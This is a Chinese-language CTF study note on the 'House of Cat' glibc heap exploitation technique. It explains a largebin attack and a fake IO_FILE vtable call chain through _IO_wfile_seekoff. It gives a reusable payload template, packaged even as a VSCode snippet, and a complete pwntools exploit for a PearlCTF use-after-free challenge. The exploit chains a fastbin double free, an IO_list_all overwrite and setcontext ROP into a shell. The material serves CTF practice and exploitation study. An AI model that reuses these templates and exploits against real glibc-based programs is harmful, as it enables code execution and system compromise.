Glibc Heap Exploit 坐牢笔记 - 0x08

# house of cat

# Why cat?

众所周知,自从 glibc2.34 以后,glibc 的一堆 hook 都被删除了。比如 malloc_hook free_hook realloc_hook。为了应对这种情况,于是利用 IO_FILE 来攻击结构体来 getSHELL
cat 直到最新的 libc 都是可以用的!!!

# Prepare:Largebin Attack after 2.30

众所周知,自从 2.30 的 glibc 之后,添加了对 largebin 的检查

1
2
3
4
  if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");

于是常规了 largebin attack 无法使用了。

但是,这个检查只针对当前 chunk 大于当前 list 里的 chunk 的情况,但是对于小于这些 list 中的 chunk 的情况没有检查(因为他只检查了 nextsize 的 fwd 的链表)

1
2
3
4
5
6
7
8
9
10
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize; // 1
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // 2
}
else
...

可以看到 victim->bk_nextsize->fd_nextsize = victim; 由于前面进行了 victim->bk_nextsize 的修改,实际上是 fwd->fd->bk_nextsize->fd_nextsize。
此时如果这个 list 原本就有一个 chunkA,并且我们把他的 bk_nextsize 修改为 target-0x20,那么我们再添加一个略微小的 chunkB,那么这时候就可以让 (target-0x20)->fd_nextsize 被修改为 chunkB 的地址。
那么我们就可以修改 IO_list_all 的数值为一个 chunk 的地址,那么我们就可以在 chunk 里伪造 IO_FILE 结构体从而调用某些东西来 get SHELL

# main—process

一种可行的调用链为 exit () -> _IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode) -> _IO_switch_to_wget_mode ( * fp ) -> _IO_WOVERFLOW (fp, WEOF)

但是最后一个是个宏

1
2
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)

最终调用的是

1
2
3
4
5
6
7
#define _IO_WIDE_JUMPS(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable


#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
(*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \
+ offsetof(TYPE, MEMBER)))

_wide_vtable 就是 vtable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};

所以说实际上他还是根据 IO_FILE 结构体来找 vtable 来调用函数的。
如果他从是我们伪造的 IO_FILE 结构体中找的 vtable,由于_IO_switch_to_wget_mode 在调用 vtable 的时候没有进行检查,所以我们的 vtable 也就不用一定在那个被保护的段里面了。
具体看图:

于是我们直接根据汇编造 fake 的结构体就行了。

# 模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
ru("0x")
libcbase=int(r(12),16)
LOGTOOL['libcbase']=libcbase

ru("0x")
fake_io=int(r(12),16)
LOGTOOL['fake_io']=fake_io # chunk_start (prev_size)

IO_file_jumps=libcbase+0x216600
LOGTOOL["IO_file_jump"]=IO_file_jumps

IO_wfile_jumps=libcbase+0x2160C0
LOGTOOL["IO_wfile_jumps"]=IO_wfile_jumps

execve_addr=libcbase+0xeb080
LOGTOOL['execve']=execve_addr

setcontext_61=libcbase+0x539E0+61
LOGTOOL['setcontext_61']=setcontext_61

lr=libcbase+0x4da83
ret=libcbase+0x29139
pop_rdi=libcbase+0x2a3e5
pop_rsi=libcbase+0x002be51
pop_rdx=libcbase+0x0796a2

rop=b'/bin/sh\x00'

pay=flat(
{
0x30:[p64(0),p64(0),p64(0),p64(1),p64(fake_io+0x138)], # wide_data
0xa0:[p64(fake_io+0x30)],
0xc0:[p64(1)], #_mode
0xd8:[p64(IO_wfile_jumps+0x30)], # vtable
0x110:[p64(fake_io+0x118)], # wide_data -> vtable

0x118:flat(
{
0x18:[p64(setcontext_61)]
},filler=b'\x00'
),

0x138:flat(
{
0x68:p64(fake_io+0x1e8), # rdi
0x70:p64(0), # rsi
0x88:p64(0), # rdx
0xa0:p64(fake_io+0x1e8), # rsp
0xa8:p64(ret) # ret_addr
},filler=b'\x00'
),

0x1e8:flat(
{
0x00:p64(pop_rdi)+p64(libcbase+0x01d8698)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(execve_addr)
},filler=b'\x00'
)


},filler=b'\x00'
)

s(pay[0x10:])

VSCode-Snippets 形式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
"House of Cat": {
"prefix": "cat-payload",
"body": [
"ru(\"0x\")\nlibcbase=int(r(12),16)\nLOGTOOL['libcbase']=libcbase\n\nru(\"0x\")\nfake_io=int(r(12),16)\n",
"LOGTOOL['fake_io']=fake_io # chunk_start (prev_size)\n\nIO_file_jumps=libcbase+0x216600\nLOGTOOL[\"IO_file_jump\"]=IO_file_jumps",
"\n\nIO_wfile_jumps=libcbase+0x2160C0\nLOGTOOL[\"IO_wfile_jumps\"]=IO_wfile_jumps\n\nexecve_addr=libcbase+0xeb080\nLOGTOOL['execve']=execve_addr",
"\n\nsetcontext_61=libcbase+0x539E0+61\nLOGTOOL['setcontext_61']=setcontext_61\n\nlr=libcbase+0x4da83\nret=libcbase+0x29139\npop_rdi=libcbase+0x2a3e5 \npop_rsi=libcbase+0x002be51\npop_rdx=libcbase+0x0796a2 ",
"\n\nrop=b'/bin/sh\\x00'\n\npay=flat(\n{\n0x30:[p64(0),p64(0),p64(0),p64(1),p64(fake_io+0x138)], # wide_data",
"\n0xa0:[p64(fake_io+0x30)],\n0xc0:[p64(1)], #_mode\n0xd8:[p64(IO_wfile_jumps+0x30)], # vtable\n0x110:[p64(fake_io+0x118)], # wide_data -> vtable",
"\n\n0x118:flat(\n{\n0x18:[p64(setcontext_61)]\n},filler=b'\\x00'\n),\n\n0x138:flat(\n{\n0x68:p64(fake_io+0x1e8), # rdi \n0x70:p64(0), # rsi\n0x88:p64(0), # rdx",
"\n0xa0:p64(fake_io+0x1e8), # rsp\n0xa8:p64(ret) # ret_addr\n},filler=b'\\x00'\n),\n\n0x1e8:flat(\n{\n0x00:p64(pop_rdi)+p64(libcbase+0x01d8698)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(execve_addr)",
"\n},filler=b'\\x00'\n)\n\n\n},filler=b'\\x00'\n)\ns(pay[0x10:])"
],
"description": "Payload template of House of Cat.(IO_FILE)"
}

# 另一种调用链

修改 / 伪造 stderr 结构体,然后引发 malloc 相关的报错来调用函数。基本上一样。

# 实战

# pearl ctf (一周前的比赛)

一周前的比赛,pwn 签到就是这个 2.35 的 heap
明显的 UAF,free 之后指针没有清零。限制了 15 个 chunk,但是不意味着只能使用 15 次 malloc。
同时限制了 malloc 的 chunk 的 size 最大 0x200
其他没有啥奇怪的。

直接 fastbin double free,但是自从 2.34 之后 fastbin 和 Tcache 加入了指针异或保护,对策就是泄露 heap 基址异或一下。
当然毋庸置疑要 leak libc 基址。这个就很简单,不说了。
修改 chunk 的 fd 为 target 之后,我们可以发现这个 chunk 现在是位于 Tcache 中。因为我们构造的 fastbin 链表 A->B->A,在 mallocA 之后会把 B 和 A 放入 Tcachebin 中,那么取出的时候保护就等于没有。(因为 Tcache 的检查基本都在 free 那里)
我们直接让 Target 为 IO_list_all,申请到这里的 chunk 之后我们修改它为一个 chunk 的地址,那个 chunk 我们之前是伪造了 IO_FILE 结构体的,那么我们就能利用 exit () 来 getshell 了。
这题的 chunk size 的限制估计是出题人故意卡在 0x200 的,因为这个伪造的 IO_FILE 结构体的大小正好是 0x1f0,加上 chunk 头就正好 0x200.

其实这题不一定要打 IO_FILE,尤其是 cat,因为这个 0x200 的 size 卡的实在是凑巧了,如果给的是 0x100 估计就不好说了。
那么这时候打 libc 的 got 表 + one_gadget 或许是一个更好的选择。
感觉 house of cat 还是在 size 限制在只是 largebin 范围的时候使用才是最合适的。(毕竟 largebin attack 只能写一个地址才叫极限)

这题为了练习一下 cat 所以用的 cat。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './heap'
#p=remote(' ',)
p=process(['./ld-linux-x86-64.so.2', pwn], env={"LD_PRELOAD":'./libc.so.6'})
# p=process('')
# gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')

# p.interactive()


def debug():
global p
text_base, libc_base = get_base(p, 'noka')
script = '''
set $text_base = {}
set $libc_base = {}
b _IO_flush_all_lockp
b exit
b _IO_wfile_seekoff
b _IO_switch_to_wget_mode
'''.format(text_base, libc_base)
#b*$rebase(0x1813)
#b*$rebase(0x18e5)
#b mprotect
#b *($text_base+0x0000000000000000F84)
#b *($text_base+0x000000000000134C)
# b *($text_base+0x0000000000000000001126)
#dprintf *($text_base+0x04441),"%c",$ax
#dprintf *($text_base+0x04441),"%c",$ax
#0x12D5
#0x04441
#b *($text_base+0x0000000000001671)
gdb.attach(p, script)
rut=lambda s :p.recvuntil(s,timeout=0.3)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))

ss=lambda s :p.send(str(s))
s=lambda s :p.send(s)
uu64=lambda data :u64 (data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))

LOGTOOL={}
def LOGALL():
log.success("**** all result ****")
for i in LOGTOOL.items():
log.success("%-20s%s"%(i[0]+":",hex(i[1])))

def get_base(a, text_name):
text_addr = 0
libc_base = 0
for name, addr in a.libs().items():
if text_name in name:
text_addr = addr
elif "libc" in name:
libc_base = addr
return text_addr, libc_base


def ptrxor(pos,ptr):
return p64((pos >> 12) ^ ptr)

def create_link_map(l_addr,know_got,link_map_addr):
link_map=p64(l_addr & (2 ** 64 - 1))
#dyn_relplt
link_map+=p64(0)
link_map+=p64(link_map_addr+0x18) #ptr2relplt
#relplt
link_map+=p64((know_got - l_addr)&(2**64-1))
link_map+=p64(0x7)
link_map+=p64(0)

#dyn_symtab
link_map+=p64(0)
link_map+=p64(know_got-0x8)

link_map+=b'/flag\x00\0\x00'

link_map=link_map.ljust(0x68,b'B')

link_map+=p64(link_map_addr) #ptr2dyn_strtab_addr
link_map+=p64(link_map_addr+0x30) #ptr2dyn_symtab_addr

link_map=link_map.ljust(0xf8,b'C')

link_map+=p64(link_map_addr+0x8) #ptr2dyn_relplt_addr
return link_map

# 1. Create note\n2. Delete note\n3. View notes\n4. Exit
def add(idx,size,con):
ru("Enter choice")
sl("1")
ru("Note Index")
sl(str(idx))
ru("Note Size")
sl(str(size))
ru("Note Content >")
sl(con)
def dele(idx):
ru("Enter choice")
sl("2")
ru("Note Index")
sl(str(idx))
def view(idx):
ru("Enter choice")
sl("3")
ru("Note Index")
sl(str(idx))
def hack():
ru("Enter choice")
sl("4")

add(7,0x100,b'a')
add(8,0x100,b'a')
add(9,0x100,b'a')

add(0,0x100,b'a')
add(1,0x100,b'a')
add(2,0x100,b'a')
add(3,0x100,b'a')
add(4,0x100,b'a')
add(5,0x100,b'a')
add(6,0x100,b'a')

dele(0)
dele(1)
dele(2)
dele(3)
dele(4)
dele(5)
dele(6)

dele(7)
view(7)
p.recv()
addr=u64(p.recv(6)+b'\x00\x00')
base=addr-(0x7f7546619ce0-0x7f7546400000)
fake=base+0x21A680-0x23
print(hex(base))
dele(9)
view(9)
p.recv()
heap_add=u64(p.recv(6)+b'\x00\x00')
heap_base=heap_add-0x290
print(hex(heap_base))

add(0,0x100,b'a')
add(0,0x100,b'a')
add(0,0x100,b'a')
add(0,0x100,b'a')
add(0,0x100,b'a')
add(0,0x100,b'a')
add(0,0x100,b'a')
add(0,0x100,b'a')
add(0,0x100,b'a')

add(7,0x68,b'a')
add(8,0x68,b'a')
add(9,0x68,b'a')

add(0,0x68,b'a')
add(1,0x68,b'a')
add(2,0x68,b'a')
add(3,0x68,b'a')
add(4,0x68,b'a')
add(5,0x68,b'a')
add(6,0x68,b'a')

dele(0)
dele(1)
dele(2)
dele(3)
dele(4)
dele(5)
dele(6)

dele(7)
dele(9)
dele(7)

xxx=heap_add>>12
fakeio=heap_base+0x5555563f2190-0x5555563f1000

add(0,0x68,p64(fake^xxx)+p64(0))
add(0,0x68,p64(fake^xxx)+p64(0))
add(0,0x68,p64(fake^xxx)+p64(0))
add(0,0x68,p64(fake^xxx)+p64(0))
add(0,0x68,p64(fake^xxx)+p64(0))
add(0,0x68,p64(fake^xxx)+p64(0))
add(0,0x68,p64(fake^xxx)+p64(0))

add(10,0x68,p64((fake+0x23)^xxx)+p64(0))
add(10,0x68,p64((fake+0x23)^xxx)+p64(0))
add(10,0x68,p64((fake+0x23)^xxx)+p64(0))
add(10,0x68,p64(fakeio)+p64(0))

libcbase=base
LOGTOOL['libcbase']=libcbase

fake_io=fakeio

LOGTOOL['fake_io']=fake_io # chunk_start (prev_size)

IO_file_jumps=libcbase+0x216600
LOGTOOL["IO_file_jump"]=IO_file_jumps


IO_wfile_jumps=libcbase+0x2160C0
LOGTOOL["IO_wfile_jumps"]=IO_wfile_jumps

execve_addr=libcbase+0xeb0f0
LOGTOOL['execve']=execve_addr


setcontext_61=libcbase+0x53a30+61
LOGTOOL['setcontext_61']=setcontext_61

lr=libcbase+0x562ec
ret=libcbase+0x29cd6
pop_rdi=libcbase+0x2a3e5
pop_rsi=libcbase+0x2be51
pop_rdx2=libcbase+0x90529
system=base+0x50d60

rop=b'/bin/sh\x00'

pay=flat(
{
0x30:[p64(0),p64(0),p64(0),p64(1),p64(fake_io+0x138)], # wide_data

0xa0:[p64(fake_io+0x30)],
0xc0:[p64(1)], #_mode
0xd8:[p64(IO_wfile_jumps+0x30)], # vtable
0x110:[p64(fake_io+0x118)], # wide_data -> vtable
0x118:flat(
{
0x18:[p64(setcontext_61)]
},filler=b'\x00'
),
0x138:flat(
{
0x68:p64(fake_io+0x1e8), # rdi
0x70:p64(0), # rsi
0x88:p64(0), # rdx
0xa0:p64(fake_io+0x1e8), # rsp
0xa8:p64(system) # ret_addr
},filler=b'\x00'
),
0x1e8:flat(
{
0x00:rop

},filler=b'\x00'
)


},filler=b'\x00'
)

add(15,0x200,pay[0x10:])
debug()

hack()

LOGALL()

it()